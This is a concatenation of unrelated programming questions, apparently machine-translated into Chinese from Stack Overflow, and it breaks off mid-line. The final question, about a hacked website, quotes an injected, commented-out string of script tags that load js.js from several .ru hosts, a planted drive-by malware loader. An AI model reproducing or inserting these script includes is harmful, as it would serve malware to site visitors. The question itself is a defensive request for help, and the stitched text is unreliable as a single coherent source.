让我先说一下这个问题,我说我在Mac OSX上使用TextMate来满足我的文本需求而且我很喜欢它.在Linux平台上有什么可比性吗?我主要用它来编写python/ruby.
进行谷歌搜索产生了过时的答案.
编辑:因为对这个问题的"优点"有一些担忧.我即将在Linux上开始一个新的Ruby编程项目,在我开始之前,我想确保我有合适的工具来完成这项工作.
编辑#2:我每天都使用VIM - 全部.这个.时间.我喜欢使用它.我只是在寻找一些替代方案.
我收到以下错误:
访问被拒绝用户'apache'@'localhost'(使用密码:否)
使用以下代码时:
<?php
include("../includes/connect.php");
$query = "SELECT * from story";
$result = mysql_query($query) or die(mysql_error());
echo "<h1>Delete Story</h1>";
if (mysql_num_rows($result) > 0) {
while($row = mysql_fetch_row($result)){
echo '<b>'.$row[1].'</b><span align="right"><a href="../process/delete_story.php?id='.$row[0].'">Delete</a></span>';
echo '<br /><i>'.$row[2].'</i>';
}
}
else {
echo "No stories available.";
}
?>
Run Code Online (Sandbox Code Playgroud)
该connect.php文件包含我的MySQL连接调用,可以在我INSERT的软件的另一部分中查询.如果我注释掉该$result = mysql_query行,那么它将进入else语句.所以,就是那条线或if中的内容.
我一直在网上搜索任何解决方案,大多数似乎与太多的MySQL连接有关,或者我登录MySQL的用户没有权限.我检查了两个.我仍然可以在软件的其他位置执行其他查询,并且我已验证该帐户具有正确的权限.
是否有人为编写数据库后端开发的测试代码有一些好的提示,其中对状态有很大的依赖性?
具体来说,我想为从数据库中检索记录的代码编写测试,但答案将取决于数据库中的数据(可能随时间而变化).
人们通常会使用"冻结"数据库创建一个单独的开发系统,以便任何给定的函数应该始终返回完全相同的结果集吗?
我很确定这不是一个新问题,所以我很想从其他人的经验中学习.
那里有好文章讨论这个基于网络的开发问题吗?
我经常编写PHP代码,但我希望所有这些问题主要与语言和框架无关.
偶尔,我遇到一个试图弹出一个新窗口(用于用户输入或重要的东西)的网页,但弹出窗口阻止程序会阻止这种情况发生.
调用窗口可以使用哪些方法来确保新窗口正确启动?
在过去一年左右的时间里,我一直在使用JXTA 2.3来开发我正在开发的点对点计算平台.我正在迁移到JXTA 2.5,在这个过程中我试图清理我对JXTA的大量使用.在大多数情况下,我以一种正确的工作态度接近JXTA.我用它来快速创建和管理我的点对点覆盖网络并提供基本的通信服务.我想以更多的JXTA方式使用它,因为我正在进行更改以转移到2.5.
我的第一步是基本创建自定义PeerGroup.我看到一些使用META-INF.servicesJava基础结构的新机制.我是否应该PeerGroup在GUID中列出相关的实现对象net.jxta.platform.Module?据我了解,如果我这样做,当遇到并且加入或创建具有与GUID匹配的规范ID的组时,它应该自动使用匹配对象.我应该能够手动将PeerGroup对象绑定到组,但这种新方法的使用META-INF似乎更容易管理.
有没有人有任何使用此基础设施PeerGroup实施的指针或示例?此外,有关META-INF.servicesJava机制的一些一般信息也会有所帮助.
Python可以在多个平台上运行,可以用于桌面和Web应用程序,因此我得出结论,有一些方法可以将它编译成Mac,Windows和Linux的可执行文件.
问题是我不知道从哪里开始或如何用它来编写GUI,任何人都可以对此有所了解并指出我正确的方向吗?
我已配置索引服务来索引我的文件,其中还包括保存为高分辨率TIFF文件的扫描图像.我还安装了MS Office 2003+并正确配置了MS Office Document Imaging(MODI),因此我可以对我的图像执行OCR,甚至将OCR文本嵌入到TIFF中.
索引服务能够索引和查找那些手动OCR并使用文本数据重新保存的TIFF(使用MS Document Imaging工具).
事实证明,与Windows XP SP2一起部署的数据执行保护(DEP)认为MODI是恶意的,并且拒绝让它发挥其魔力.我已经能够通过完全关闭DEP来使它工作,但我发现这个解决方案不够优雅.
有没有更好的解决方案来实现这项工作,而不会禁用DEP?
对于解析播放器命令,我最常使用split方法通过分隔符分割字符串,然后通过一系列ifs或switches 来计算其余部分.在Java中解析字符串有哪些不同的方法?
我父亲今天打电话给我,说他们去他的网站的人有168种病毒试图下载到他们的电脑上.他根本不是技术人员,用WYSIWYG编辑器构建了整个东西.
我打开他的网站并查看了源代码,在关闭HTML标记之前,源代码底部有一行Javascript包含.他们包括这个文件(以及许多其他文件):http://www.98hs.ru/js.js < - 在你去URL之前关掉JAVASCRIPT.
所以我现在评论它.事实证明他的FTP密码是一个普通的字典单词六个字母长,所以我们认为这是如何被黑客攻击.我们已经将他的密码更改为一个8位以上的非单词字符串(他不会用密码短语,因为他是一个狩猎的傻瓜).
我在98hs.ru上做了一个whois,发现它是从智利的服务器托管的.实际上还有一个与之相关的电子邮件地址,但我严重怀疑这个人是罪魁祸首.可能只是其他一些被黑客入侵的网站......
我不知道在这一点上该做什么,因为我以前从未处理过这类事情.有人有什么建议吗?
他通过webhost4life.com使用普通的jane un-secured ftp.我甚至没有看到在他们的网站上做 sftp 的方法.我在想他的用户名和密码被截获了吗?
因此,为了使这与社区更相关,您应采取哪些步骤/最佳做法,以保护您的网站免遭黑客入侵?
为了记录,这里是"神奇地"添加到他的文件中的代码行(并且不在他的计算机上的文件中 - 我留下它注释掉,只是为了绝对确定它不会做任何事情在这个页面上,虽然我确信杰夫会防范这个):
<!--script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script …Run Code Online (Sandbox Code Playgroud)